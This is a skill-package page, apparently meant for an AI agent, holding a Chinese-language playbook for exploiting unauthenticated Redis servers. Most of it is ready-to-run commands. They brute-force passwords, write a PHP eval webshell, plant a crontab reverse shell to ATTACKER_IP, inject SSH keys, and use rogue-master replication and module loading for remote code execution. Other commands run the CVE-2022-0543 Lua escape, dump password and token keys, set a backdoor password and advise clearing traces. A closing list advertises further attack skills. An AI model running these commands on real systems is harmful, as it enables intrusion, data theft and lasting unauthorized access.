redis-attack
$
npx mdskill add wgpsec/AboutSecurity/redis-attackExploit unauthenticated Redis servers for data theft and RCE.
- Enables unauthorized access to Redis instances on port 6379.
- Integrates with nmap, redis-cli, hydra, and medusa tools.
- Executes attacks based on detected authentication status and version.
- Delivers payloads for data exfiltration, crontab injection, and webshell creation.
SKILL.md
.github/skills/redis-attackView on GitHub ↗
---
name: redis-attack
description: "Redis 未授权访问与利用。当发现目标开放 6379 端口、Redis 服务无认证或弱密码、需要从 Redis 获取敏感数据或实现远程命令执行时使用。覆盖未授权访问、数据窃取、crontab 写入 RCE、主从复制 RCE、模块加载 RCE、webshell 写入、SSH 公钥注入、Lua 脚本注入、Pub/Sub 窃听、持久化文件利用"
metadata:
tags: "redis,6379,未授权,rce,主从复制,crontab,webshell,ssh-key,lua,module-load,redis-rogue-server"
category: "exploit"
---
# Redis 未授权访问与利用
Redis 默认无认证、监听 0.0.0.0,一旦暴露在网络上攻击面极大——从数据窃取到 RCE 仅需几条命令。
## ⛔ 深入参考(必读)
- 完整利用命令和 payload → 读 [references/attack-techniques.md](references/attack-techniques.md)
---
## Phase 1: 服务发现与版本识别
### 1.1 Nmap 扫描
```bash
# Redis 信息收集脚本
nmap -p 6379 --script redis-info TARGET
# 版本探测
nmap -sV -p 6379 TARGET
```
### 1.2 手动连接测试
```bash
# PING 测试连通性
redis-cli -h TARGET -p 6379 PING
# 返回 PONG 表示无需认证
# 获取服务器信息(关注 redis_version, os, config_file)
redis-cli -h TARGET -p 6379 INFO server
```
**关键判断**:
- 返回 PONG / 正常信息 → 无认证,直接进入 Phase 3
- 返回 `-NOAUTH Authentication required` → 需要认证,进入 Phase 2
- 返回 `redis_version` → 确定版本,决定可用攻击路径
---
## Phase 2: 未授权/弱口令检测
### 2.1 常见弱口令
```bash
# 逐个尝试
redis-cli -h TARGET -p 6379 -a redis INFO server
redis-cli -h TARGET -p 6379 -a password INFO server
redis-cli -h TARGET -p 6379 -a 123456 INFO server
redis-cli -h TARGET -p 6379 -a admin INFO server
redis-cli -h TARGET -p 6379 -a root INFO server
```
### 2.2 暴力破解
```bash
# Hydra
hydra -P passwords.txt redis://TARGET
# Nmap
nmap --script redis-brute -p 6379 TARGET
# Medusa
medusa -h TARGET -P passwords.txt -M redis
```
---
## Phase 3: 攻击决策树
```
连接成功?
├─ 可执行 CONFIG SET → RCE 路径
│ ├─ 目标有 Web 服务 → webshell 写入 (Phase 4.1)
│ ├─ 目标有 cron → crontab 反弹 shell (Phase 4.2)
│ └─ 目标有 SSH → 写 authorized_keys (Phase 4.3)
├─ Redis >= 4.0 → 模块加载 RCE (Phase 4.4)
├─ Redis >= 4.0 → 主从复制 RCE / redis-rogue-server (Phase 4.5)
├─ 可执行 KEYS/GET → 数据窃取 (Phase 5)
│ ├─ 搜索 *password*, *token*, *session*
│ └─ HGETALL 遍历 Hash 数据
├─ 可执行 PSUBSCRIBE → Pub/Sub 窃听 (Phase 6)
└─ 可执行 EVAL → Lua 脚本注入 (Phase 6)
```
**前置信息收集**:
```bash
# 获取当前工作目录和数据库文件名(CONFIG SET 攻击前必查)
redis-cli -h TARGET -p 6379 CONFIG GET dir
redis-cli -h TARGET -p 6379 CONFIG GET dbfilename
# 获取全部配置
redis-cli -h TARGET -p 6379 CONFIG GET "*"
# 检查 Redis 版本(决定模块加载/主从复制是否可用)
redis-cli -h TARGET -p 6379 INFO server
```
---
## Phase 4: 快速利用命令
### 4.1 Webshell 写入
```bash
redis-cli -h TARGET -p 6379
> CONFIG SET dir /var/www/html
> CONFIG SET dbfilename shell.php
> SET payload "<?php @eval($_POST['cmd']);?>"
> SAVE
```
验证: `curl http://TARGET/shell.php`
### 4.2 Crontab RCE
```bash
redis-cli -h TARGET -p 6379
> SET cron "\n\n*/1 * * * * /bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'\n\n"
> CONFIG SET dir /var/spool/cron/
> CONFIG SET dbfilename root
> SAVE
```
注意: Ubuntu/Debian 路径为 `/var/spool/cron/crontabs/`,CentOS/RHEL 为 `/var/spool/cron/`。
### 4.3 SSH 公钥写入
```bash
# 生成密钥对
ssh-keygen -t rsa -f /tmp/redis_rsa
# 格式化公钥(前后加换行避免 Redis 数据干扰)
(echo -e "\n\n"; cat /tmp/redis_rsa.pub; echo -e "\n\n") > /tmp/spaced_key.txt
# 导入并写入
cat /tmp/spaced_key.txt | redis-cli -h TARGET -p 6379 -x set ssh_key
redis-cli -h TARGET -p 6379 CONFIG SET dir /var/lib/redis/.ssh
# 如果 Redis 以 root 运行,改用 /root/.ssh
redis-cli -h TARGET -p 6379 CONFIG SET dbfilename authorized_keys
redis-cli -h TARGET -p 6379 SAVE
# 登录
ssh -i /tmp/redis_rsa redis@TARGET
```
### 4.4 模块加载 RCE (Redis >= 4.0)
```bash
# 需先将恶意 .so 上传到目标(通过主从复制或其他途径)
redis-cli -h TARGET -p 6379 MODULE LOAD /path/to/module.so
redis-cli -h TARGET -p 6379 system.exec "id"
redis-cli -h TARGET -p 6379 system.rev ATTACKER_IP 9999
```
### 4.5 主从复制 RCE
```bash
# 自动化利用(Redis <= 5.0.5)
python3 redis-rogue-server.py --rhost TARGET --rport 6379 --lhost ATTACKER_IP
# 手动利用
redis-cli -h TARGET -p 6379 SLAVEOF ATTACKER_IP 6379
# 传输恶意模块后
redis-cli -h TARGET -p 6379 MODULE LOAD /tmp/module.so
redis-cli -h TARGET -p 6379 system.exec "id"
# 清理
redis-cli -h TARGET -p 6379 MODULE UNLOAD mymodule
redis-cli -h TARGET -p 6379 SLAVEOF NO ONE
```
→ 更多方法与完整 payload → 读 [references/attack-techniques.md](references/attack-techniques.md)
---
## Phase 5: 数据窃取
```bash
# 列出所有键
redis-cli -h TARGET -p 6379 KEYS "*"
# 搜索敏感键名
redis-cli -h TARGET -p 6379 KEYS "*password*"
redis-cli -h TARGET -p 6379 KEYS "*secret*"
redis-cli -h TARGET -p 6379 KEYS "*token*"
redis-cli -h TARGET -p 6379 KEYS "*session*"
# 获取值
redis-cli -h TARGET -p 6379 GET keyname
# 遍历 Hash 类型
redis-cli -h TARGET -p 6379 HGETALL keyname
# 大数据库用 SCAN 替代 KEYS(避免阻塞)
redis-cli -h TARGET -p 6379 SCAN 0 MATCH "*password*" COUNT 100
```
→ 读 [references/attack-techniques.md](references/attack-techniques.md) 获取完整数据窃取命令
---
## Phase 6: 其他攻击向量
### 6.1 Pub/Sub 窃听
```bash
# 监听所有频道
redis-cli -h TARGET -p 6379 PSUBSCRIBE "*"
```
### 6.2 Lua 脚本注入
```bash
# 执行系统命令(CVE-2022-0543, Debian/Ubuntu 特有)
redis-cli -h TARGET -p 6379 EVAL 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0
```
### 6.3 配置篡改
```bash
# 读取当前认证配置
redis-cli -h TARGET -p 6379 CONFIG GET requirepass
redis-cli -h TARGET -p 6379 CONFIG GET masterauth
# 设置后门密码
redis-cli -h TARGET -p 6379 CONFIG SET requirepass "backdoor_pass"
```
### 6.4 持久化文件利用
```bash
# 触发 RDB 持久化
redis-cli -h TARGET -p 6379 BGSAVE
# 获取持久化文件路径
redis-cli -h TARGET -p 6379 CONFIG GET dir
redis-cli -h TARGET -p 6379 CONFIG GET dbfilename
# 下载后用 rdbtools 解析
rdb --command json /path/to/dump.rdb
```
→ 读 [references/attack-techniques.md](references/attack-techniques.md) 获取完整技术细节
---
## 工具速查
| 工具 | 用途 |
|------|------|
| redis-cli | Redis 官方客户端 |
| redis-rogue-server | 主从复制自动化 RCE |
| RedisModules-ExecuteCommand | 恶意 .so 模块生成 |
| rdbtools | RDB 持久化文件解析 |
| hydra / medusa | Redis 密码爆破 |
| nmap redis-info / redis-brute | Redis 信息收集与爆破脚本 |
---
## 注意事项
- `SAVE` 操作会阻塞 Redis,可能导致服务中断;生产环境优先用 `BGSAVE`
- `CONFIG SET` 操作被记录到 Redis 日志,注意痕迹清理
- `KEYS *` 在大数据库上严重阻塞,生产环境用 `SCAN` 替代
- CONFIG SET 写文件会覆盖原有 RDB 内容,操作前备份 `CONFIG GET dir` 和 `CONFIG GET dbfilename`
- 主从复制 RCE 完成后务必执行 `SLAVEOF NO ONE` 和 `MODULE UNLOAD` 清理
- Crontab 写入仅在目标以 root 运行 Redis 时有效
More from wgpsec/AboutSecurity
- 401-403-bypass401/403 访问拒绝绕过方法论。当遇到管理后台、API 端点返回 401/403 Forbidden 时使用。覆盖路径操纵、HTTP 方法篡改、Header 注入、协议降级、组合攻击
- ad-acl-abuseActive Directory ACL 滥用攻击方法论。当 BloodHound 发现 GenericAll/WriteDACL/WriteOwner/GenericWrite/ForceChangePassword 等危险 ACE 时使用。覆盖 ACE 枚举、权限滥用链、Shadow Credentials、RBCD 攻击
- ad-delegation-attackKerberos 委派攻击(非约束/约束/RBCD)。当 BloodHound 发现委派配置、或已获取有 SPN 的服务账号/机器账号控制权时使用。通过 S4U 协议滥用可实现跨服务模拟任意用户,常用于域内权限提升和横向移动。
- ad-domain-attackActive Directory 域环境攻击全链路。当目标主机在域环境中(systeminfo 显示 Domain 非 WORKGROUP)、发现 88/389/636 端口、或获取到域用户凭据时使用。覆盖域信息收集、用户枚举、Kerberoasting、AS-REP Roasting、委派攻击、ACL 滥用、DCSync、Golden/Silver Ticket
- ad-persistenceAD 域环境持久化技术。当已获取域管/本地管理员权限、需要建立持久访问以确保重启或密码更改后仍能回到目标环境时使用。覆盖主机级持久化(计划任务/注册表Run/COM劫持/WMI事件订阅/Windows服务/启动文件夹)、域级持久化(Golden Ticket/Silver Ticket/Skeleton Key/DSRM/AdminSDHolder)、DCShadow/GoldenGMSA高级技术、清理命令与检测规避
- ad-trust-attack域信任关系攻击。当目标存在多域/多林环境时使用。包含父子域提权(Golden Ticket + ExtraSid)、跨林攻击(SID History/MSSQL Trust Links)、单向信任利用。已获取子域 Domain Admin 或发现信任关系时优先加载。
- adcs-certipy-attackActive Directory Certificate Services (ADCS) 证书攻击。当发现域内有 CA 服务器、ADCS Web Enrollment、证书模板配置错误时使用。覆盖 ESC1-ESC11 所有证书滥用路径、Certipy 工具链、证书伪造、NTLM 中继到 ADCS。发现 ADCS/CA/证书/certsrv 相关内容时一定要使用此技能
- adinfo-enum使用 Adinfo 进行 Active Directory 信息收集。当获得域用户凭据后需要快速收集域环境信息时使用。Adinfo 是一个快速 AD 信息收集工具,一条命令输出域控列表、域管用户、信任关系、GPO、SPN、委派配置等关键信息——比手动 LDAP 查询快得多。发现域环境后第一步信息收集使用此技能
- agent-security|
- ai-data-security|